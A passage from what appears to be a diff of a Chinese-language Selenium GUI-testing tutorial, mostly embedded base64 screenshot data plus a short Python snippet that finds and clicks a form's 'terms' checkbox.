7fbreY1FkIgJSUFjY2NKtC+evUKJ06cgNlsxsaNG1UXjqGhIfX9ePToUbW9hoYGTe0zEJjGSQgBs9mMEydO4OTJk5pm7Wlpabh48SIeP36slsnvGNnNJCsrS3PscsqsaH2m56uBli1vjh07hpaWFhWWP/zwQ7XOw4cPIYR/pPIzZ87gwYMHKC0thcFgwJo1a8Km94sUoIHAg4Hy8nLcv38fH374IYQIH1gtVF5eHptwkzI2Nob29vaw3zuv14v29vaIg4IyQBMRLQOrJUAD/hvggoKCsOmUZKg+fPiwmv94eHhY3STJkpSUhPv37wMIjK4qQ3SkplaAv9Z2586dEV+T/fGEEHj69GnMY48UCDwejxplNrjk5ORoRtN1OBwqsMqb3h07dmjmiT59+jQsFovmAUNogG5qaoLZbIYQ/mmspKKiIvU+IPI0Vv39/Vi7dq06huTkZNWskuhNW4oALX/PF1Kampqwd+9edd3IYjAYsHbtWjQ3N4dNMSdrgl9nrvTW1lakpKREPKakpCScP38+rOl0f38/MjIyIFvqyO/KQ4cOhd3gP3nyRBOYTSaTah6dmZmJiooKFdqbmpo04y4IIbBp0ybNHNJA4CHCpk2bIp7TfAF6fHxcNTeXpaioKOzh5ZUrV8J+HikpKRFbw8jpwUID9MzMjGYKs9AHD9EwQFOojo4OPHr0CCMjI/B4PBgZGcGjR4+ijr7PAE1EtAyspgAt+Xw+9PX1ob6+HlevXkV7e/u8/QUjsdvt6OzsjNqHb3R0FEKEzxcabHp6GtPT0/PuK1YgsNvtePLkCdra2jTTToWSf5xjmW+ubJ/Ph9nZ2bAbapfLpesznJ2dhdVqnXc9otfxNqaxWgncbjeePn2Kuro6NDQ0hNV8RzI8PIyrV6+ipaUl4qjcwcbGxtS0TT6fL2b/7d7eXrS0tMT8vhscHIz6mp4+0ADgdDrR1tYWc2R0j8eD7u5uNDc3x9znfMbGxvDgwYOwbjR6MUCTx+NBb28v7t69i4aGBty9exe9vb1Ru4cwQBMRLQOrMUC/LSUlJW9slGkGAiL9eL3EH70BeiVhgCbJ7XZjbm5O0zIsEgZoIqJlgAH6zRkeHsbOnTtx6NAhNXp3fX39G9k2AwGRfrxe4g8DNBEDNBHRssAA/eaUlZVp+sS97tRVwRgIiPTj9RJ/GKCJGKCJiJYFBug3R85rmpCQgO3bt2N29s39dWMgINKP10v8iccATbRQDNBERMsAA/TKwEBApB+vl/jDAE3EAE1EtCwwQK8MDARE+vF6iT+hAZqFZbUWBmgioneMAXplaGlpYWFhWUCh+GKdBWqf+cMDC8tqL7XPvAzQRETvCgM0ERGtBGN2f4j+V6uPhWXVltpnXoxFn+aciIiWGgM0ERGtFNZZFhYWIiJ6hxigiYiIiIiIiHRggCYiIiIiIiLSgQGaiIiIiIiISAcGaCIiIiIiIiIdGKCJiIiIiIiIdGCAXpy5ubmIxe12x3yfw+FAXV0dOjs739KRxh+Hw4GamprX+gz5c1h5xsZ8qKiYw+wKHoE20jnY7cDp03N4/Nijezt//OFCfX3s7xoiIiIiWgIM0Avn8XiQm5sLo9EIIYQqZrMZu3btivgeq9WKnJwcte7ly5ff8lGvfJ2dncjOzlafYW1t7YK3wZ/DylNb60JKyhSEsEIIKyYmfO/6kBYs1jmUlTkhhBUmk03Xth498qjt9PR4l+qQiYiIiCgSBujFs1qtKohZLBZ4PNFrkNxuN54+fQqTycTgtkherxe9vb3qwUV9fb2u99lsNvWzeVc/h7GxlRf6lgunE2hocKvQaLe/6yNauFjnIJdv2DAT9r65OWBqSrtsbMwHo9EGs3liRX4WRERERCvaagrQs7OzaGtrQ01NDf7973/HLDU1NWhra8PsPO1FzWYzhBDIy8vTdQxr165lgH5NKSkpEELg2rVr867rcDiQlJSEoaEhzfK3+XN4/tyL5OTJJd9PPLPbocKn0/muj2ZxYp2DyxX5PVu32lFdHf6ixwN4WflMRERE9PatpgD98OFDtLS0YGBgAFNTU5ieno5YpqamMDAwgJaWFjx8+DDmNhMSEiCEQEFBga5jyMrKYoB+TTJANzY2zrvu5s2bIYQIC9Bv6+dgtwNJSZOwWCaWdD/xbnY2ED6jhc3lbqHnUFk5ByGsEQM0EREREb0jqylA19fXw2q1wuebvzmtz+eD1Wqdt5nw6wRor9eL27dv4/Dhw6ivr4crwl31xMQETp06hT179uDAgQOoq6vTHH9DQwPOnj2rSnV1tXqtublZLQ89j/b2dlRWVuLUqVNobm7WdewAYLfbUVFRgZGREYyOjuLYsWNoaGhY8LafP3+O0tJS7Ny5E0ePHkVra2vE9Xw+H5qamvDjjz/i8OHDuH//vq4A7fV6sX37dtXE/uzZs7hy5QpevXoFYOE/B7fbjZaWFpSXl6OiogJdXV3zflYTEz6kpfn7vRqNNly54sKVKy4EjzM3PQ00Nrrx009OXLzogtUa/rtptwMVFXMYGfFhdNSHY8ecaGgIbOTBAw9u3/b/u7PTi4qKOdy4oR1g6tUrH86cmUNNjQuTk+H78HqBGzfcKClx4PTpOdy65cbAgL5m57duufHddw7s3DmL8vI59PWFV412dXlx/Li/2tVm86G62oXSUidevIhcjTo7C9TXu3HggAMnT86hvd274AA9OelDfb0bhw45UFU1F/GzBfxNpK9fd+PYMSfOnYs+mNdSnsPwsA+nTs2pf58/71Lrfv75LK5ccaG9PbAfux2oqprD0FD4OS3V+Tx96sXXXztw/LgTt2658eCB/kHPiIiIiOLGagrQ//nPf3SFZ8nn8+E///lPzHUWG6C/+uor1Q9Xlo0bN2rW7ezshMFgQHp6Oi5evIiCggIIIbBlyxa1zp07d1QzciEE6urqNO9PSkqCwWBQAXpubg5bt26FyWRCQUGBpgm6w+GIetxPnjzBpk2bYDAYIIRARUWF+n8hBGw2m+5tV1dXq/OorKzEmjVrIIRAZWWlZp8OhwPvv/8+DAYDvv76a5SUlGgGbrt+/XrU47179y4yMzPVuhkZGcjKylItChbycxgeHkZqaiqSk5ORn5+vzvubb76Jun8AOHVqDklJkyoIZWVNIydnGnNz8hg9MJlsyMqaRnb2NISwwmCwoq7O/f+fuRebNtlhMPjfX1Exp/5fCCsOHnQgMdG//Y8/tmPbNrt6TQgrkpMnMTrqw/r1M5rliYmTmJ4OHOfkpA8mkw3vvTeDP/5wYeNG//oXL86fVIuL/fv85z+d+Oc/nTCZbDAYrHj0yB+u6urcms/g0iWX5liEsOLpU21ge/nSi6SkSSQmTqK01ImiIu15zTPQPQB/qDcabdiwYQbHjjnVMXzxhbZLRn29f73ExEl8+ukskpP96+XlTWNkxLfk51BVNYe1a6fVcsD/UCU7e1r9rJOSJpGVNY3Kyjk0NXlQWBj4eYaG2KU6n7y8aSQnT6K62oVvvnFACCuKi9kBm4iIiFah1RSgr1y5suAAfeXKlZjrLDZACyFQWlqKgYEB/PLLL2rZy5cv1bqyn25wKJahdGIi0CT477//Vu9//vx52P5KSkrUv7ds2YKEhAT1fqvVqgLk7t27ox53V1cXSktLNUHz+PHjyMrKQlpaGjwej65tT05OqgBq//8RkAYGBiCEQFJSkmaf77//PoQQmtrpzs5Otf8bN27E/KynpqbUuuPj42Gfi56fg9vtRkJCAgoLC9XvTktLS8QHFpFcueJSoTVYT4+/NrK8PFDreOSIU4XowUEfurq8KC11aoLN8eNOZGVNIy1tCvX1blXDLYQVO3bMoq/Pi/Z2L4xGm1q+c+csenu96Oz0wmTyLz99OrBfGYhkqPb5gLVrp1FVNYdYbt/2D361Zk3g3Kqq5tQ+AX8t/LFjgXNITJxEY6MbDx961KjURUWBIOZwAGbzBEwmG2y2wLVaUTGnO0C3tflHqf7qq8BDG3msQljR3e0Ph3fu+NdLT5+C/Fpwu4GsrGl1Xh7P0p7D/fsefPutQxOgJRl+L18OPMjo6/Pir78C5xIcoJfqfORnJx/sAMChQw589BEDNBEREa1CqylA//nnnwsO0H/++WfMdRYboEtLSzXLI40sLadbCg7Fslb11q1bmvenpaWFheDBwUFNGHzy5AmEEPjyyy8xPDysynvvvQchBIxGY8xj9/l8Kjj+8MMPmtf0bttut8NoNMJsNqs5s71er9qubD7d3NwMIQQSEhLCjsNisSw4QFut2nCi9+dw8uRJCCHw119/ac5LPhgoLCyMeQzRAvSGDf5axIEBH4aH/eXevcD0RDJY+3yBfrM//BA+etbhww5Vwxjs889nEWlk5507/ct37w7UxOblTYeF+YsXXTh3LnaAvnvXf7w5OYF9y7CVmRkYOvrVK586h97eQM1mebk/UKakBNaVDxG2bdOGs6GhwDbmC9CpqVMwGm0IblDh8wH5+TNITJzE+Lj/O0DW3oc2d+/vD+xLNqteynN48iTQtDuYDNB//BHeEkDWTgcH6KU6Hxm2N22yq+MeGPBh61YGaCIiIlqFGKCjW8oAfebMGc1yGYzPnj2rlnm9XhX8enp6UFJSogLh77//rnn/b7/9BiEEDAYD5v6/jfChQ4ewbt06tc6RI0fUOhaLJawkJiaq90Yja8BD+ywvZNsOh0PVPt+9excffvihOq+xsTEAwI4dOyCEQHFxcdgxyD7Qf//9d8xj1ROg5/s5yHmnI52TxWLRHaCTkgIB2usNhGKLZSJiKSsLhGWzeQJCWNHaGt7n9J//9IebDz7QBmVZc71liz3i+h9/HFh+7lygZnTjxhn09+u/RiYmfHC7/TWdNTUupKZOhT0wsFoDYe3Vq8C2//7brT4DSYbA0ObjwQNwxZgtDgMD/n1lZU1HXwnaMBupH3Fm5pTmAcRSnkNHR+wAXVMTHqBlCwMZoJfyfPr6AseXkjKF5mb2fSYiIqJVjAE6urcZoOXy4AANAI8ePUJeXh4sFgtOnTqlappDA7TL5VK1p7/99hu8Xi/MZjNqa2vVOkVFRRBCzNssPZZoAXqh266trUVycjIyMjJQV1cXFqDl53H69Omw98oAffPmzZj7CA7QNptN85ren4M836nQyXh1ihSgZSDRO7XVYgL0L79EDtA//RS+3OEA3n9f20/6yBEn9FwqTidU3+dNm+w4ccKpO0DfvKkNax5PIGB2dWn74AaHz1jTN8nmzaE18qFu3Qo0g47U9X/37lnNz20pz+FNBOilOh/pxx+1XQk2bbKHzU9NREREtCowQEf3rgP0nTt3IIRATk6OqrGV64UGaAD4xz/+ATlgVkNDA0wmk2omDQCbNm2CEAJHjhzRdayRRAvQC9n2jz/+CCEEvv76a7UsNEAnJSVBCIHvv/8+7P2LCdDBfcYB/T8H2VS7paVl3vOKJFKAlv2f56tNlRYToE+enNMdoKXQQcr27Ys+qBzgD4u5uf7m3/X1/t8z2ax7MQF6YiKw3t272nPVG6Bra10RA2Co1tZAc3nZJzrYd9/5m8anpU0t+TnMF6Bra+cP0Et1PsGamz2wWCbU+zIypnQN6EZEREQUVxigo3uXAXp8fFwNtjU6Ohq2XqQALQfjEkIgMTERX331leb1Q4cOQQgBs9kccaqmkydPaqbBiiRagNa77Rs3bqjjCxYaoOWI42lpaWHbkgE6tB94qDcRoOVAbqEjcwP+34+ioiJ0d3dHPYZIAdrtDgSpiorwJvM2mw95edOqBnipA/R33znUyOBjYz7k5ARGhZ7VDlqtceCAP5R98klgpdcJ0ECgb+/+/drwHhw+Y13CwWE0eNAr6fZtNyor5zAzE9heZWX4z0D2UZf9fJfyHN5EgF7K8/njD5eaCsvlAvbvDwx69vffTNBERES0yjBAR6cnQAdP1aSHDGShTZNl39uKigoAwM2bN1X4k1MvTU9Pq2ba58+fj7h9GTyFEBgYGNC89ujRI/Xa1q1bNUG3pqYGCQkJMaeyCj7f0Pmd9W77wIEDkIOKyT7Rra2t6r2Dg4MAgIqKCrXs6tWralsul0vVCgc3T4/E6XSqbbx48ULzmt6fw08//aS2ERy23W43vvjiC2zatCnmMTQ0+AOJyaRtQi6nljIabbh3LxCMp6eBjIwpnDkTCEEyQEfqexotQB8/7l8ePJoyAJSVhQfo7OxpTUjzeAL7HByMfr1kZPj71ebnB/Yt+14HB7Cxschh7dq18LAmp9AyGm2aeaiD51CemIh+TG534NiNRpsKmB6Pv3m3xTKB4WH/+wsK/PtKTw9viyxHK5ef+VKew9OnkQO07E8e6SGLDOnBD1WW6nyOHHGqUdWlDz/0T8t1/nzg98btduO3336bd3A/IiIiohVtNQXomzdvLqgv69TUVMxmwuPj4ypcWSwWTXPpaOQI0gcOHIi4/ODBgwAAm82mtp2UlIS9e/eqOZ2FEEhJScHHH38ctn05pVVOTk7E/RcWFqrtms1mbNiwQYXiO3fuxDz2yclJ9d7QUbj1bvuvv/5S6+Tm5uLTTz9V5y5Htf7222/h8XhUM24h/HMunzt3To1MLj9z+XlFI8N2eno6ysrKVEsBvT8Hp9OpmWd7zZo1KCgogMFggNFoDOtbHaq7OxCOPv7Yjs8+m8UPPzjx+HGgya0QVs1c0MEDYE1OBoJOpFG45ZzAqana32s52nZwzTcANVd0RkZg/exs/xy/MtQ5HP6A9t572lAe6ssvAzWR27fPYtMmuwpqQljx2WezuHDBpWo1Q5s1B/erlTXdL18GPi+zeQInTjhx8uScGphLNkOONUd18DRP8jOQNbbBYXRoyKeC6NGjgc9WPvQIHmV6Kc8h+Hit1kCYlUHcZLKhvHwOa9ZMwuEA7PZAbXNw/+ilOp8jR5yaub0BYN26aZhM2pHOq6qq1HXS09MT9edDREREtKKtpgDd2dmJzs5OTE1NwefzxSxTU1Nq/VBerxfZ2dkqzMpiNBqxdevWiPseHh7WBEIhBDZt2oT+/n4kJiZqlu/duxcAcOzYMbWPtLQ01NXV4cqVKxDCP9p16BRMgL/WPCEhIer8xC6XC5s3b9bsz2QyzTv4V3V1tQqjsmRlZWE2qI2vnm17vV7VX1rW3Hd2dmL//v0qeF+/fh2A/yFCXl6eWtdgMGD79u1ITk5GQkICDh8+jN7e3pjHffToUfX+jIwMPHv2bME/h+HhYaSmpmpeS01NRXt7e8x9+38egX7CQvjnapb9X5uaPJrAKYR/cCY5d3B1tSvs9aysaczO+kfyls1yZcnOnsbgoA9r105rliclTaK/34f8fO36mZlTGB31N9k2Gm0wGm0oKJiByWRDevrUvKNxDwz4VC200WhDcbEdk5OBZampU/j3v12aOanN5glcuODC9987wo5R1tY+eeLVhE2TyaamUsrMnEJFxVzMWmgAuH7drWqi5fEFz6cs9fdrj7egYAYGgxWHDjnUz6muzr1k51BcbNds22Sy4ezZOfX7Ebz84UMPfvnFqdmuweD/nVrK8zlyxAmj0QaDwT84W3LyJMzmibDm242Njer6CJ13nYiIiChurKYA7XQ60dnZiZs3b+LPP/+MWW7evInOzk44neG1fm/7mENvRmdmZiL2M5aGh4fhjTXSEvzzMd+7dw8vXryYd92F0rNtm82mBkaTQqeaCt5ee3u7quHv7+9f0PG8evVqwe+JZHx8HE1NTRgZGVnwe7u7vSoYh+rt9aKlxYPp2ANHLxn5DMRm8+HxYw/GxvR3cwD8NZ+hg6EF16Qu1tiYDy9e+H9/fD5omkPrNTjoQ0/P/L/fw8M+XL3qRkuLJ+Io1ov1uudgtwOdnV5dI6IHe5Pn43T6H9jMzvqboff3+6IO5NbX16fGMSAiIiKKS6spQBMREREREREtGgM00dIIbg7LwhKvhYiIiGhVYYAmIm9SGXAAAAp4SURBVCIiIiIi0oEBmoiIiIiIiEgHBmgiIiIiIiIiHeItQPt8PjidToyNjaG3txcdHR149uwZywoqHR0d6O3txdjYGJxOJ3wLHYKYiIiIiIhoKcRbgHY6nejt7VXzPdPKJOfh7u3tfedTiREREREREQGIvwA9NjaGjo6OJd0HvT0dHR2cV5aIiIiIiJaHeAvQPT09mJiYWNJ90NszMTGBnp6ed30YRERERERE8Regnzx5sqTbD9Xd3Y0ff/wRVmv8zYd68eJFXL58+V0fxlv/mRIREREREUUUbwH64cOHb2xbBoMBQghVDAYDMjIycO/ePbVOXV0dhBDo7Ox8Y/tdLjIzM7Fu3bp3fRhv9GdKRERERES0aPEWoNva2t7YtoQQyMzMxNmzZ1FRUYGioiIVqp8/fw6AAfpteJM/UyIiIiIiokVjgI5OCIFdu3Zplt25cwdCCGzfvh1A9AD96tUrXLp0KWrzY7fbjebmZlRXV2NoaCjiOv39/fjjjz9QW1uLV69e6TrmyclJNDY24vz582E1t06nE7du3YLNZkNXVxeqqqo0++7s7ER1dTVaWlrgdrsjBmiXy4WmpiZUVVXh3r178Hq9ure/WAzQRERERES0LDBARxcpQPt8PhgMBmRnZwOIHKALCgo0Tb8tFouqsQaAly9fIjk5WbNOWlqaph91aWmp5nUhBC5evBjzeBsbG2E0GjXvycvLw8zMDACgr68PQghkZ2er1xsaGgAAJSUlmvelp6cjJSVFE6AjHffatWvVdGGxtv86GKCJiIiIiGhZYICOLlKAfvz4MYQQ2LJlC4DwAF1XVweDwYDffvsNbrcbDx8+hMFg0Gxn3bp1MBgMuHbtGpxOJ65evQohBHbs2AEAuHfvHoQQ+OCDD9DT04O2tjakp6fDYDBgdHQ04rFOTU3BaDQiISEBNTU1GBgYUKG4pKQEQCDgGgwGVFZWYnx8HB6PB7du3YIQAoWFhZiYmIDNZsOGDRsghNAEaHncly9fxuTkJE6ePAkhBL744ouY239dDNBERERERLQsMEBHJ4TAhg0b0NTUhNu3b+Pw4cNISEiAEAJ3794FoK8PdFFRESwWCwBgeHgYQghs3LhRs87t27dRVVUFANi2bRuEEJoa6cbGRgghUFlZGXEfv/32W8TXExMTYTQaAQQCrgy80pYtWyCE0EwX1d3drQnQIyMjEEJg9+7dmvempaXBbDbH3P7rYoAmIiIiIqJlgQE6utAm1EIIGI1GXLp0Sa0TGqBdLhcuXbqE3NxcWCwW1aRahszbt29DCIHz589H3e/atWshhIDJZNIUIQQOHDgQ8T2HDh2CECKsz/Hnn38OIQTsdrsKuKFTU61du1YF/GAWi0UFaHncBoMh7JiEEHC73VG3/7oYoImIiIiIaFlggI5OCIHNmzejp6cHPT09EQfyCg3QZWVlqub6119/RW1tLXJyclSAfvDgAYQQKCsri7rfnJwc1VQ6tEQblEz2mW5vb9cs37x5M4QQcLlcUQNuTk4OjEajZkAwr9cLo9GoAnRrayuEENi2bVvE4/J4PAzQREREREQU3xigo4vUBzpUaIBOTU1FUlKSet3tdsNsNqsAPT09DSEEsrKyNNspKytTfZX37NkDIQQePXqkXp+dncXNmzcxMjIS8Tjq6+shhEBpaalmuewXDSBqwN21axeEELh//75aJgOzDNCTk5MQQiA/P1/z3vb2dtWcnQGaiIiIiIjiGgN0dIsJ0Pv27YMQAuXl5aipqUF+fr6mCTcQCKx79uxBQ0MD9u/fDyEEjh07BsA/fZUcvfvUqVOoq6tDZmYmDAZD1GmhPB4PkpKSIITAJ598grNnzyIlJQVCCJw9exZA9IAr+zsnJiaitrYWNTU1SExMDBtErLi4GEIIFBUV4dq1a6rWWzYrZ4AmIiIiIqK4xgAdXaRBs0LJml8ZoEdGRlRoFkIgNzcXO3bs0AToubk5fPbZZ2odi8WCvXv3wuVyqXVu374Ni8Wi1snMzMTNmzdjHsvAwIBmCimDwYDjx4/D5/Op16MF3Pr6etVf22Aw4Msvv0R+fj5ycnLUOg6HQw1wJh8K7NixA263e97tvw4GaCIiIiIiWhbiLUA/fPhwSbevl91uh91uj7mO1+uN2iRbslqtmJ2dXdC+nU5nxP7aeoyOjqpAHI3H45n3uN+k5fIzJSIiIiKiVS7eAnRnZyfGx8eXdB/09oyPj8ecIoyIiIiIiOitibcAPTQ0hAcPHizpPujtefDgQdR+30RERERERG9VvAVoh8OBtrY2tLa2siZ6BRsfH0drayva2trgcDje9eEQERERERHFX4D2+XyYmprCs2fP8N///hdXr17F//7v/7KsoHL16lX897//xbNnzzA1NaUGQSMiIiIiInqn4i1ASz6fDy6XC06nEw6Hg2UFFafTCZfLxeBMRERERETLS7wGaCIiIiIiIqI3igGaiIiIiIiISAcGaCIiIiIiIiIdGKCJiIiIiIiIdGCAJiIiIiIiItKBAZqIiIiIiIhIBwZoIiIiIiIiIh0YoImIiIiIiIh0YIAmIiIiIiIi0oEBmoiIiIiIiEgHBmgiIiIiIiIiHRigiYiIiIiIiHRggCYiIiIiIiLSgQGaiIiIiIiISAcGaCIiIiIiIiIdGKCJiIiIiIiIdGCAJiIiIiIiItKBAZqIiIiIiIhIBwZoIiIiIiIiIh0YoImIiIiIiIh0YIAmIiIiIiIi0oEBmoiIiIiIiEgHBmgiIiIiIiIiHRigiYiIiIiIiHRggCYiIiIiIiLSgQGaiIiIiIiISAcGaCIiIiIiIiIdGKCJiIiIiIiIdGCAJiIiIiIiItKBAZqIiIiIiIhIBwZoIiIiIiIiIh0YoImIiIiIiIh0YIAmIiIiIiIi0oEBmoiIiIiIiEgHBmgiIiIiIiIiHRigiYiIiIiIiHRggCYiIiIiIiLSgQGaiIiIiIiISAcGaCIiIiIiIiIdGKCJiIiIiIiIdGCAJiIiIiIiItKBAZqIiIiIiIhIBwZoIiIiIiIiIh0YoImIiIiIiIh0YIAmIiIiIiIi0oEBmoiIiIiIiEiHdxKgWVhYWFhYWFhYWFhYWFhWemGAZmFhYWFhYWFhYWFhYWHRURigWVhYWFhYWFhYWFhYWFh0FAZoFhYWFhYWFhYWFhYWFhYdZUkCNBEREREREdEqxQBNREREREREpAMDNBEREREREZEODNBEREREREREOjBAExEREREREenAAE1ERERERESkAwM0ERERERERkQ4M0EREREREREQ6MEATERERERER6cAATURERERERKQDAzQRERERERGRDgzQRERERERERDowQBMRERERERHpwABNREREREREpAMDNBEREREREZEODNBEREREREREOjBAExEREREREenAAE1ERERERESkAwM0ERERERERkQ4M0EREREREREQ6MEATERERERER6cAATURERERERKQDAzQRERERERGRDgzQRERERERERDowQBMRERERERHpwABNREREREREpAMDNBEREREREZEODNBEREREREREOjBAExEREREREenwfx8ud7AMxLuBAAAAAElFTkSuQmCC
+)
+
+条款和条件的复选框未填写，而是使用`click()`方法单击。
+
+```py
+terms = gui_driver.find_element_by_name('terms')
+terms.click()
+
+```
+
+```py
+Image(gui_driver.get_screenshot_as_png())
+
+```
+
+![](data:image/png;base64,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